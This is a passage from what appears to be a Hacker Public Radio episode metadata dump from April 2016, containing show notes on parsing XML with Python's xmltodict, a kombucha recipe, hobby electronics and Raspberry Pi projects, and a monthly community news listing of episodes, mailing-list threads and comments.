                                                            XML is a way of storing data in a hierarchical arrangement so that the data can be parsed later. It's explicit and strictly structured, so one of its benefits is that it paints a fairly verbose definition of data. Here's an example of some simple XML:

                                                            \n
                                                            <?xml version="1.0"?>\n<book>\n   <chapter id="prologue">\n      <title>\n     The Beginning\n  </title>\n      <para>\n     This is the first paragraph.\n      </para>\n    </chapter>\n\n    <chapter id="end">\n      <title>\n     The Ending\n  </title>\n      <para>\n     Last para of last chapter.\n      </para>\n    </chapter>\n</book>
                                                            \n

                                                            And here's some info about the xmltodict library that makes parsing that a lot easier than the built-in Python tools:

                                                            \n

                                                            Install

                                                            \n

                                                            Install xmltodict manually, or from your repository, or using pip:

                                                            \n
                                                            $ pip install xmltodict
                                                            \n

                                                            or if you need to install it locally:

                                                            \n
                                                            $ pip install --user xmltodict
                                                            \n

                                                            Xmltodict

                                                            \n

                                                            With xmltodict, each element in an XML document gets converted into a dictionary (specifically an OrderedDictionary), which you then treat basically the same as you would JSON (or any Python OrderedDict).

                                                            \n

                                                            First, ingest the XML document. Assuming it's called sample.xml and is located in the current directory:

                                                            \n
                                                            >>> import xmltodict\n>>> with open('sample.xml') as f:\n...     data = xmltodict.parse(f.read())
                                                            \n

                                                            If you're a visual thinker, you might want or need to see the data. You can look at it just by dumping data:

                                                            \n
                                                            >>> data\nOrderedDict([('book', OrderedDict([('chapter',\n[OrderedDict([('@id', 'prologue'),\n('title', 'The Beginning'),\n...and so on...
                                                            \n

                                                            Not terribly pretty to look at. Slightly less ugly is your data set piped through json.dumps:

                                                            \n
                                                            >>> import json\n>>> json.dumps(data)\n'{"book": {"chapter": [{"@id": "prologue",\n"title": "The Beginning", "para": "This is the first paragraph."},\n{"@id": "end", "title": "The Ending",\n"para": "This is the last paragraph of the last chapter."}]\n}}'
                                                            \n

                                                            You can try other feats of pretty printing, if they help:

                                                            \n
                                                            >>> pp = pprint.PrettyPrinter(indent=4)\n>>> pp.pprint(data)\n{ 'book': { 'chapter': [{'@id': 'prologue',\n                         'title': 'The Beginning',\n             'para': 'This is the ...\n                         ...and so on...                 
                                                            \n

                                                            More often than not, though, you're going to be "walking" the XML tree, looking for specific points of interest. This is fairly easy to do, as long as you remember that syntactically you're dealing with a Python dict, while structurally, inheritance matters.

                                                            \n

                                                            Elements (Tags)

                                                            \n

                                                            Exploring the data element-by-element is very easy. Calling your data set by its root element (in our current example, that would be data['book']) would return the entire data set under the book tag. We'll skip that and drill down to the chapter level:

                                                            \n
                                                            >>> data['book']['chapter']\n[OrderedDict([('@id', 'prologue'), ('title', 'The Beginning'),\n('para', 'This is the first paragraph.')]),\nOrderedDict([('@id', 'end'), ('title', 'The Ending'),\n('para', 'Last paragraph of last chapter.')])]
                                                            \n

                                                            Admittedly, it's still a lot of data to look at, but you can see the structure.

                                                            \n

                                                            Since we have two chapters, we can enumerate which chapter to select, if we want. To see the zeroeth chapter:

                                                            \n
                                                            >>> data['book']['chapter'][0]\nOrderedDict([('@id', 'prologue'),\n('title', 'The Beginning'),\n('para', 'This is the first paragraph.')])
                                                            \n

                                                            Or the first chapter:

                                                            \n
                                                            >>> data['book']['chapter'][1]\nOrderedDict([('@id', 'end'), ('title', 'The Ending'),\n('para', 'Last paragraph of last chapter.')])
                                                            \n

                                                            And of course, you can continue narrowing your focus:

                                                            \n
                                                            >>> data["book"]["chapter"][0]['para']\n'This is the first paragraph.'
                                                            \n

                                                            It's sort of like Xpath for toddlers. Having had to work with Xpath, I'm happy to have this option.

                                                            \n

                                                            Attributes

                                                            \n

                                                            You may have already noticed that in the dict containing our data, there is some special notation happening. For instance, there is no @id element in our XML, and yet that appears in the dict.

                                                            \n

                                                            Xmltodict uses the @ symbol to signify an attribute of an element. So to look at the attribute of an element:

                                                            \n
                                                            >>> data['book']['chapter'][0]['@id']\n'prologue'
                                                            \n

                                                            If you need to see each attribute of each chapter tag, just iterate over the dict. A simple example:

                                                            \n
                                                            >>> for c in range(0,2):\n...     data['book']['chapter'][c]['@id']\n...\n'prologue'\n'end'
                                                            \n

                                                            Contents

                                                            \n

                                                            In addition to special notation for attributes, xmltodict uses the # prefix to denote contents of complex elements. To show this example, I'll make a minor modification to sample.xml:

                                                            \n
                                                            <?xml version="1.0"?>\n<book>\n   <chapter id="prologue">\n      <title>\n     The Beginning\n  </title>\n      <para class="linux">\n     This is the first paragraph.\n      </para>\n    </chapter>\n\n    <chapter id="end">\n      <title>\n     The Ending\n  </title>\n      <para class="linux">\n     Last para of last chapter.\n      </para>\n    </chapter>\n</book>
                                                            \n

                                                            Notice that the <para> elements now have a linux attribute, and also contain text content (unlike <chapter> elements, which have attributes but only contain other elements).

                                                            \n

                                                            Look at this data structure:

                                                            \n
                                                            >>> import xmltodict\n>>> with open('sample.xml') as g:\n...     data = xmltodict.parse(g.read())\n>>> data['book']['chapter'][0]\nOrderedDict([('@id', 'prologue'),\n('title', 'The Beginning'),\n('para', OrderedDict([('@class', 'linux'),\n('#text', 'This is the first paragraph.')]))])
                                                            \n

                                                            There is a new entry in the dictionary: #text. It contains the text content of the <para> tag and is accessible in the same way that an attribute is:

                                                            \n
                                                            >>> data['book']['chapter'][0]['para']['#text']\n'This is the first paragraph.'
                                                            \n

                                                            Advanced

                                                            \n

                                                            The xmltodict module supports XML namespaces and can also dump your data back into XML. For more documentation on this, have a look at the module on github.com/martinblech/xmltodict.

                                                            \n

                                                            What to Use?

                                                            \n

                                                            Between untangle, xmltodict, and JSON, you have pretty good set of options for data parsing. There really are diferent uses for each one, so there's not necessarily a "right" or "wrong" answer. Try them out, see what you prefer, and use what is best. If you don't know what's best, use what you're most comfortable with; you can always improve it later.

                                                            \n

                                                            [EOF]

                                                            \n

                                                            Made on Free Software.

                                                            \n","hostid":78,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"python, parse, xml","version":0,"downloads":0,"valid":1}, {"id":2014,"date":"2016-04-21","title":"A first look at the Owon B35T Part 2","duration":1306,"summary":"More clicking of things, Bluetooth happens, things are taken apart...","notes":"

                                                            In this episode of HPR you get to hear more of the things on NYbill's electronics bench that make clicking noises.

                                                            \n

                                                            The review of the Owon B35T's continues. Bluetooth is now working. And we get an inside look at the meter.

                                                            \n\n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"multimeter,Bluetooth","version":0,"downloads":0,"valid":1}, {"id":2015,"date":"2016-04-22","title":"Linux in the Church","duration":1116,"summary":"How I'm using Linux for many of my projects at church.","notes":"

                                                            Linux has been my exclusive OS for many years. When I became the tech director at my church I wanted to utilize the power and freedom of Open Source so I'm gradually implementing it on many of my projects.

                                                            \n

                                                            \n\n\"Photo\n

                                                            \n","hostid":328,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Church, Tech, Sound","version":0,"downloads":0,"valid":1}, {"id":2016,"date":"2016-04-25","title":"Echoprint","duration":799,"summary":"I share what I've learned about the Echoprint music identification system","notes":"

                                                            Ken's message asking about programmatically checking for the intro and outro: \nhttps://thread.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1039

                                                            \n

                                                            The Echoprint website: https://echoprint.me

                                                            \n

                                                            Codegen source code: https://github.com/echonest/echoprint-codegen

                                                            \n

                                                            Echoprint - An Open Music Identification Service: https://www.ee.columbia.edu/~dpwe/pubs/EllisWP11-echoprint.pdf

                                                            \n

                                                            Server source codehttps://github.com/echonest/echoprint-server

                                                            ","hostid":257,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Echoprint,music identification","version":0,"downloads":0,"valid":1}, {"id":2017,"date":"2016-04-26","title":"Here are my thoughts on a 3D printer Kit.","duration":750,"summary":"Bought a 3D printer kit. My thoughts on how it went together.","notes":"

                                                            I purchased a 3D printer kit from AliExpress.

                                                            \n

                                                            https://www.aliexpress.com/item/Free-shipping-High-Quality-Precision-Reprap-Prusa-i3-DIY-3d-Printer-kit-with-2-Roll-Filament/32424257787.html

                                                            \n

                                                            Here are some after thoughts on how I liked it, a little overview of 3D printers and why I bought this one.

                                                            \n

                                                            Pictures of the printer as assembled, and a few items I printed https://www.travestylabs.com/3Dprinter/

                                                            \n

                                                            I hope to make this into a series about software, tips and modifications, and other thoughts I have to share about it.

                                                            \n

                                                            Links

                                                            \n\n","hostid":307,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"3D printer, RepRap kit","version":0,"downloads":0,"valid":1}, {"id":2018,"date":"2016-04-27","title":"How to make Komboucha Tea","duration":988,"summary":"Here, I describe how to brew your own komboucha tea.","notes":"

                                                            How to Make Kamboucha Tea

                                                            \n

                                                            Makes about 1 gallon

                                                            \n

                                                            Ingredients

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IngredientUSMetric
                                                            water3 1/2 quarts??
                                                            white sugar1 cup??
                                                            black tea8 bags (or 2 tablespoons loose tea)??
                                                            starter tea from last batch of kombucha or store-bought2 cups??
                                                            scoby1 per fermentation jarN/A
                                                            \n

                                                            Optional flavoring extras for bottling: 1 to 2 cups chopped fruit, 2 to 3 cups fruit juice, 1 to 2 tablespoons flavored tea (like hibiscus or Earl Grey), 1/4 cup honey, 2 to 4 tablespoons fresh herbs or spices

                                                            \n

                                                            Equipment

                                                            \n
                                                              \n
                                                            • Stock pot
                                                            • \n
                                                            • 1-gallon glass jar or two 2-quart glass jars
                                                            • \n
                                                            • Bottles: Six 16-oz glass bottles with plastic lids, 6 swing-top bottles, or clean soda bottles
                                                            • \n
                                                            \n

                                                            Instructions

                                                            \n

                                                            Note: Avoid prolonged contact between the kombucha and metal both during and after brewing. This can affect the flavor of your kombucha and weaken the scoby over time.

                                                            \n

                                                            1. Make the Tea Base: Bring the water to a boil. Remove from heat and stir in the sugar to dissolve. Drop in the tea and allow it to steep until the water has cooled. Depending on the size of your pot, this will take a few hours. You can speed up the cooling process by placing the pot in an ice bath.

                                                            \n

                                                            2. Add the Starter Tea: Once the tea is cool, remove the tea bags or strain out the loose tea. Stir in the starter tea. (The starter tea makes the liquid acidic, which prevents unfriendly bacteria from taking up residence in the first few days of fermentation.)

                                                            \n

                                                            3. Transfer to Jars and Add the Scoby: Pour the mixture into a 1-gallon glass jar (or divide between two 2-quart jars, in which case you'll need 2 scobys) and gently slide the scoby into the jar with clean hands. Cover the mouth of the jar with a few layers of cheesecloth or paper towels secured with a rubber band.

                                                            \n

                                                            4. Ferment for 7 to 10 Days: Keep the jar at room temperature, out of direct sunlight, and where it won't get jostled. Ferment for 7 to 10 days, checking the kombucha and the scoby periodically.

                                                            \n

                                                            It's not unusual for the scoby to float at the top, bottom, or even sideways. A new cream-colored layer of scoby should start forming on the surface of the kombucha within a few days. It usually attaches to the old scoby, but it's ok if they separate. You may also see brown stringy bits floating beneath the scoby, sediment collecting at the bottom, and bubbles collecting around the scoby. This is all normal and signs of healthy fermentation.

                                                            \n

                                                            After seven days, begin tasting the kombucha daily by pouring a little out of the jar and into a cup. When it reaches a balance of sweetness and tartness that is pleasant to you, the kombucha is ready to bottle.

                                                            \n

                                                            5. Remove the Scoby: Before proceeding, prepare and cool another pot of strong tea for your next batch of kombucha, as outlined above. With clean hands, gently lift the scoby out of the kombucha and set it on a clean plate. As you do, check it over and remove the bottom layer if the scoby is getting very thick.

                                                            \n

                                                            6. Bottle the Finished Kombucha: Measure out your starter tea from this batch of kombucha and set it aside for the next batch. Pour the fermented kombucha (straining, if desired) into bottles, along with any juice, herbs, or fruit you may want to use as flavoring. Leave about a half inch of head room in each bottle. (Alternatively, infuse the kombucha with flavorings for a day or two in another jar covered with cheesecloth, strain, and then bottle. This makes a cleaner kombucha without "stuff" in it.)

                                                            \n

                                                            7. Carbonate and Refrigerate the Finished Kombucha: Store the bottled kombucha at room-temperature out of direct sunlight and allow 1 to 3 days for the kombucha to carbonate. Until you get a feel for how quickly your kombucha carbonates, it's helpful to keep it in plastic bottles; the kombucha is carbonated when the bottles feel rock solid. Refrigerate to stop fermentation and carbonation, and then consume your kombucha within a month.

                                                            \n

                                                            8. Make a Fresh Batch of Kombucha: Clean the jar being used for kombucha fermentation. Combine the starter tea from your last batch of kombucha with the fresh batch of sugary tea, and pour it into the fermentation jar. Slide the scoby on top, cover, and ferment for 7 to 10 days.

                                                            \n

                                                            Additional Notes:

                                                            \n

                                                            • Batch Size: To increase or decrease the amount of kombucha you make, maintain the basic ratio of 1 cup of sugar, 8 bags of tea, and 2 cups starter tea per gallon batch. One scoby will ferment any size batch, though larger batches may take longer.

                                                            \n

                                                            • Putting Kombucha on Pause: If you'll be away for 3 weeks or less, just make a fresh batch and leave it on your counter. It will likely be too vinegary to drink by the time you get back, but the scoby will be fine. For longer breaks, store the scoby in a fresh batch of the tea base with starter tea in the fridge. Change out the tea for a fresh batch every 4 to 6 weeks.

                                                            \n

                                                            • Other Tea Options: Black tea tends to be the easiest and most reliable for the scoby to ferment into kombucha, but once your scoby is going strong, you can try branching out into other kinds. Green tea, white tea, oolong tea, or a even mix of these make especially good kombucha. Herbal teas are ok, but be sure to use at least a few bags of black tea in the mix to make sure the scoby is getting all the nutrients it needs. Avoid any teas that contain oils, like earl grey or flavored teas.

                                                            \n

                                                            • Avoid Prolonged Contact with Metal: Using metal utensils is generally fine, but avoid fermenting or bottling the kombucha in anything that brings them into contact with metal. Metals, especially reactive metals like aluminum, can give the kombucha a metallic flavor and weaken the scoby over time.

                                                            \n

                                                            Troubleshooting Kombucha

                                                            \n

                                                            • It is normal for the scoby to float on the top, bottom, or sideways in the jar. It is also normal for brown strings to form below the scoby or to collect on the bottom. If your scoby develops a hole, bumps, dried patches, darker brown patches, or clear jelly-like patches, it is still fine to use. Usually these are all indicative of changes in the environment of your kitchen and not a problem with the scoby itself.

                                                            \n

                                                            • Kombucha will start off with a neutral aroma and then smell progressively more vinegary as brewing progresses. If it starts to smell cheesy, rotten, or otherwise unpleasant, this is a sign that something has gone wrong. If you see no signs of mold on the scoby, discard the liquid and begin again with fresh tea. If you do see signs of mold, discard both the scoby and the liquid and begin again with new ingredients.

                                                            \n

                                                            • A scoby will last a very long time, but it's not indestructible. If the scoby becomes black, that is a sign that it has passed its lifespan. If it develops green or black mold, it is has become infected. In both of these cases, throw away the scoby and begin again.

                                                            \n

                                                            • To prolong the life and maintain the health of your scoby, stick to the ratio of sugar, tea, starter tea, and water outlined in the recipe. You should also peel off the bottom (oldest) layer every few batches. This can be discarded, composted, used to start a new batch of kombucha, or given to a friend to start their own.

                                                            \n

                                                            • If you're ever in doubt about whether there is a problem with your scoby, just continue brewing batches but discard the kombucha they make. If there's a problem, it will get worse over time and become very apparent. If it's just a natural aspect of the scoby, then it will stay consistent from batch to batch and the kombucha is fine for drinking.

                                                            \n","hostid":300,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"tea, cooking, kitchen","version":0,"downloads":0,"valid":1}, {"id":2019,"date":"2016-04-28","title":"a pi project and an owncloud project","duration":1032,"summary":"A short episode where I describe a couple of geeky projects I've been working on","notes":"

                                                            HPR - A couple of Projects I've been working on

                                                            \n\n
                                                              \n
                                                            1. Intro

                                                              \n\n
                                                                \n
                                                              • Please record a show!!!!!
                                                              • \n
                                                              • Couple of Projects
                                                              • \n
                                                            2. \n
                                                            3. Pi Project

                                                              \n\n
                                                                \n
                                                              • Love of Music
                                                              • \n
                                                              • Digital, of course and webradio
                                                              • \n
                                                              • Sonos, other proprietary solutions
                                                              • \n
                                                              • Got a Pi2 for XMas
                                                              • \n
                                                              • Pi Music Box
                                                              • \n
                                                              • RuneAudio
                                                              • \n
                                                              • Arch Based
                                                              • \n
                                                              • underlying tech is MPD
                                                              • \n
                                                              • flash SD Card
                                                              • \n
                                                              • boot with network cable attached
                                                              • \n
                                                              • add music and webradios to library
                                                              • \n
                                                              • .pls and .m3u files
                                                              • \n
                                                            4. \n
                                                            5. PhotoFrame Project

                                                              \n\n
                                                                \n
                                                              • proprietary items
                                                              • \n
                                                              • tablet/smart phone lying around
                                                              • \n
                                                              • ownCloud
                                                              • \n
                                                              • update for my parents on the road
                                                              • \n
                                                            6. \n
                                                            \n\n

                                                            Links and other Goodies

                                                            \n\n

                                                            Pi Project
                                                            \nSomaFM
                                                            \nCapital Public Radio
                                                            \nSonos
                                                            \nSamsung Shape
                                                            \nPiMusicBox
                                                            \nRune Audio
                                                            \nMusic Player Daemon
                                                            \nUSB Audio Dongle (amazon link... NOT an affiliate link)

                                                            \n\n

                                                            PicFrame Project
                                                            \nownCloud
                                                            \nKindle Fire HD 6
                                                            \nPicFrame
                                                            \nPicFrame Android App

                                                            \n\n

                                                            Contact Info
                                                            \nMatt McGraw - matty at the strangeland dot net
                                                            \nStay-At-Home G33k Dad ~ Fatherhood in the digital age
                                                            \n@sahg33kdad
                                                            \nGoogle+ www.google.com/+MattMcGraw

                                                            \n\n

                                                            \nThe following link includes a photo of the RPi in the bookshelf with the stereo as well as a screenshot of the Rune Audio app running on my Android phone.\n
                                                            \nhttps://cloud.thestrangeland.net/index.php/s/CdbU1povrcproZQ\n

                                                            \n\n","hostid":255,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi,RuneAudio,MPD,Music Player Daemon,ownCloud,PiMusicBox,PicFrame","version":0,"downloads":0,"valid":1}, {"id":2020,"date":"2016-04-29","title":"Automotive Billing","duration":2020,"summary":"How I bill for automotive repairs","notes":"

                                                            \nI get a call to look at my friend's broke down car.\n

                                                            ","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Automotive, Billing, Overhead, Repair, Process","version":0,"downloads":0,"valid":1}, {"id":2021,"date":"2016-05-02","title":"HPR Community News for April 2016","duration":5521,"summary":"HPR Community News for April 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Joe, \n brian.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2000Fri2016-04-01How to Point a Satellite DishKen Fallon
                                                            2001Mon2016-04-04HPR Community News for March 2016HPR Volunteers
                                                            2002Tue2016-04-05Just got a Raspberry Pi Zeroswift110
                                                            2003Wed2016-04-06Using the Incron file watching daemonMr. Young
                                                            2004Thu2016-04-07A First Look at the Owon B35TNYbill
                                                            2005Fri2016-04-08How I prepare and record my HPR Kdenlive voiceover shows.Geddes
                                                            2006Mon2016-04-11Basic Audio Production - CompressionNacho Jordi
                                                            2007Tue2016-04-12My new laptopDave Morriss
                                                            2008Wed2016-04-13HPR needs shows to survive.Ken Fallon
                                                            2009Thu2016-04-14Understanding the GNU/Screen Hardstatus lineCurtis Adkins (CPrompt^)
                                                            2010Fri2016-04-15Parsing JSON with Pythonklaatu
                                                            2011Mon2016-04-18Introduction to sed - part 4Dave Morriss
                                                            2012Tue2016-04-19Parsing XML in Python with Untangleklaatu
                                                            2013Wed2016-04-20Parsing XML in Python with Xmltodictklaatu
                                                            2014Thu2016-04-21A first look at the Owon B35T Part 2NYbill
                                                            2015Fri2016-04-22Linux in the ChurchJoe
                                                            2016Mon2016-04-25Echoprintlaindir
                                                            2017Tue2016-04-26Here are my thoughts on a 3D printer Kit.cheeto4493
                                                            2018Wed2016-04-27How to make Komboucha TeaMr. Young
                                                            2019Thu2016-04-28a pi project and an owncloud projectMatt McGraw (g33kdad)
                                                            2020Fri2016-04-29Automotive Billingbrian
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: NYbill <nybill@...>
                                                              \n Date: 2016-04-04 17:08:54 -0400
                                                              \n Subject: Fwd: Re: Defaults...
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1159
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-04-05 20:20:08 +0200
                                                              \n Subject: Call for shows
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1160
                                                              \n Messages: 5

                                                            4. \n
                                                            5. From: Mike Ray <mike@...>
                                                              \n Date: 2016-04-06 13:45:38 +0100
                                                              \n Subject: HTML notes accessibility pointer
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1161
                                                              \n Messages: 7

                                                            6. \n
                                                            7. From: Curtis Adkins <curtadkins@...>
                                                              \n Date: 2016-04-09 21:26:57 -0400
                                                              \n Subject: Upload show issue
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1168
                                                              \n Messages: 2

                                                            8. \n
                                                            9. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-04-12 08:12:09 +0200
                                                              \n Subject: Fwd: CFP for Full Stack Fest 2016 has opened!
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1170
                                                              \n Messages: 1

                                                            10. \n
                                                            11. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-04-19 13:21:58 +0200
                                                              \n Subject: 11th Annual People's Podcast Awards
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1175
                                                              \n Messages: 1

                                                            12. \n
                                                            13. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-04-21 15:46:34 +0200
                                                              \n Subject: Fwd: for your podcast: interview about FOSS situation in\tRussia
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1176
                                                              \n Messages: 1

                                                            14. \n
                                                            15. From: Frank Bell <frankwbell@...>
                                                              \n Date: 2016-04-21 13:37:59 -0400
                                                              \n Subject: Proposed New Series
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1177
                                                              \n Messages: 8

                                                            16. \n
                                                            17. From: Carl D Hamann <carl.hamann@...>
                                                              \n Date: 2016-04-22 10:42:04 -0500
                                                              \n Subject: Re: Proposed New Series
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1184
                                                              \n Messages: 2

                                                            18. \n
                                                            19. From: Dave Morriss <perloid@...>
                                                              \n Date: 2016-04-25 15:27:13 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2016-04-30T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1187
                                                              \n Messages: 5

                                                            20. \n
                                                            21. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2016-04-25 21:56:10 -0500
                                                              \n Subject: Re: Hpr Digest, Vol 91, Issue 11
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1189
                                                              \n Messages: 3

                                                            22. \n
                                                            23. From: Carl D Hamann <carl.hamann@...>
                                                              \n Date: 2016-04-25 23:01:41 -0500
                                                              \n Subject: Re: HPR Community News - next Saturday on 2016-04-30T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1191
                                                              \n Messages: 1

                                                            24. \n
                                                            25. From: Dave Morriss <perloid@...>
                                                              \n Date: 2016-04-30 18:21:57 +0100
                                                              \n Subject: Re: HPR Community News - next Saturday on 2016-04-30T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1196
                                                              \n Messages: 1
                                                            26. \n
                                                            \nTotal messages this month: 38
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 46 comments:

                                                            \n
                                                              \n
                                                            • hpr1987\n(2016-03-15) \"Pomodoro Timer - The Evolution of a Script (pt 1)\"\nby Nacho Jordi.\n
                                                              • Comment 2:\nDavid L. Willson on 2016-04-17:\n\"changed my life\"
                                                              • \n

                                                            • \n
                                                            • hpr1990\n(2016-03-18) \"Pomodoro Timer - The Evolution of a Script part deux\"\nby Nacho Jordi.\n
                                                              • Comment 1:\nDavid L. Willson on 2016-04-17:\n\"found it!\"
                                                              • \n

                                                            • \n
                                                            • hpr1993\n(2016-03-23) \"Can your window manager do this?\"\nby Nacho Jordi.\n
                                                              • Comment 1:\nsigflup on 2016-04-04:\n\"ratpoison\"
                                                              • \n

                                                            • \n
                                                            • hpr1996\n(2016-03-28) \"Xdotool magic\"\nby Nacho Jordi.\n
                                                              • Comment 1:\nUrugami on 2016-04-18:\n\"File Naming\"
                                                              • \n

                                                            • \n
                                                            • hpr1998\n(2016-03-30) \"Homebrewing\"\nby m1rr0r5h4d35.\n
                                                              • Comment 2:\nKen Fallon on 2016-04-07:\n\"Would love to hear the full recoring\"
                                                              • \n

                                                            • \n
                                                            • hpr1999\n(2016-03-31) \"How I record a full band under Linux\"\nby noplacelikeslashhome.\n
                                                              • Comment 1:\nJon Kulp on 2016-04-01:\n\"More on Ardour!\"
                                                              • Comment 2:\nKen Fallon on 2016-04-06:\n\"More detail\"
                                                              • \n

                                                            • \n
                                                            • hpr2000\n(2016-04-01) \"How to Point a Satellite Dish\"\nby Ken Fallon.\n
                                                              • Comment 1:\nMike Ray on 2016-04-04:\n\"I tried very hard...\"
                                                              • Comment 2:\ndroops on 2016-04-04:\n\"Very Good\"
                                                              • Comment 3:\nFrank on 2016-04-05:\"[no title]\"
                                                              • Comment 4:\nKen Fallon on 2016-04-06:\n\"Beep\"
                                                              • \n

                                                            • \n
                                                            • hpr2001\n(2016-04-04) \"HPR Community News for March 2016\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nJon Kulp on 2016-04-04:\n\"Not a Timing Belt\"
                                                              • \n

                                                            • \n
                                                            • hpr2002\n(2016-04-05) \"Just got a Raspberry Pi Zero\"\nby swift110.\n
                                                              • Comment 1:\nKen Fallon on 2016-04-06:\n\"I'm so jealous\"
                                                              • \n

                                                            • \n
                                                            • hpr2003\n(2016-04-06) \"Using the Incron file watching daemon\"\nby Mr. Young.\n
                                                              • Comment 1:\nKen Fallon on 2016-04-06:\n\"Installing this now\"
                                                              • \n

                                                            • \n
                                                            • hpr2004\n(2016-04-07) \"A First Look at the Owon B35T\"\nby NYbill.\n
                                                              • Comment 1:\nKen Fallon on 2016-04-07:\n\"daisy chain\"
                                                              • Comment 2:\nNYbill on 2016-04-07:\n\"Americanism's?\"
                                                              • Comment 3:\nDave Morriss on 2016-04-07:\n\"Not an Americanism to my knowledge\"
                                                              • Comment 4:\nKen Fallon on 2016-04-08:\n\"Why not what\"
                                                              • Comment 5:\nNYbill on 2016-04-08:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2005\n(2016-04-08) \"How I prepare and record my HPR Kdenlive voiceover shows.\"\nby Geddes.\n
                                                              • Comment 1:\nNYbill on 2016-04-10:\n\"Well done.\"
                                                              • Comment 2:\nKen Fallon on 2016-04-17:\n\"Such Effort\"
                                                              • \n

                                                            • \n
                                                            • hpr2006\n(2016-04-11) \"Basic Audio Production - Compression\"\nby Nacho Jordi.\n
                                                              • Comment 1:\nKen Fallon on 2016-04-17:\n\"Great Addition\"
                                                              • \n

                                                            • \n
                                                            • hpr2007\n(2016-04-12) \"My new laptop\"\nby Dave Morriss.\n
                                                              • Comment 1:\nKen Fallon on 2016-04-17:\n\"Suspect\"
                                                              • Comment 2:\nDave Morriss on 2016-04-18:\n\"I dunno what you're talking about\"
                                                              • Comment 3:\nAlpha32 on 2016-04-26:\n\"Interesting show\"
                                                              • \n

                                                            • \n
                                                            • hpr2008\n(2016-04-13) \"HPR needs shows to survive.\"\nby Ken Fallon.\n
                                                              • Comment 1:\n0xf10e on 2016-04-13:\n\"But Ken, \"
                                                              • Comment 2:\nJonathan Kulp on 2016-04-14:\n\"sure you can!\"
                                                              • Comment 3:\nKen Fallon on 2016-04-17:\n\"Thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr2009\n(2016-04-14) \"Understanding the GNU/Screen Hardstatus line\"\nby Curtis Adkins (CPrompt^).\n
                                                              • Comment 1:\nKen Fallon on 2016-04-22:\n\"Great show\"
                                                              • \n

                                                            • \n
                                                            • hpr2010\n(2016-04-15) \"Parsing JSON with Python\"\nby klaatu.\n
                                                              • Comment 1:\nZen_Floater2 on 2016-04-14:\n\"squirrel\"
                                                              • Comment 2:\nKen Fallon on 2016-04-22:\n\"Don't like xpath !\"
                                                              • \n

                                                            • \n
                                                            • hpr2011\n(2016-04-18) \"Introduction to sed - part 4\"\nby Dave Morriss.\n
                                                              • Comment 1:\nMr. Young on 2016-04-18:\n\"Wow\"
                                                              • Comment 2:\nDave Morriss on 2016-04-19:\n\"Thanks\"
                                                              • Comment 3:\nKen Fallon on 2016-04-22:\n\"Nice one\"
                                                              • \n

                                                            • \n
                                                            • hpr2012\n(2016-04-19) \"Parsing XML in Python with Untangle\"\nby klaatu.\n
                                                              • Comment 1:\nKen Fallon on 2016-04-22:\n\"Normal Parsers\"
                                                              • \n

                                                            • \n
                                                            • hpr2013\n(2016-04-20) \"Parsing XML in Python with Xmltodict\"\nby klaatu.\n
                                                              • Comment 1:\nsigflup on 2016-04-19:\n\"cool\"
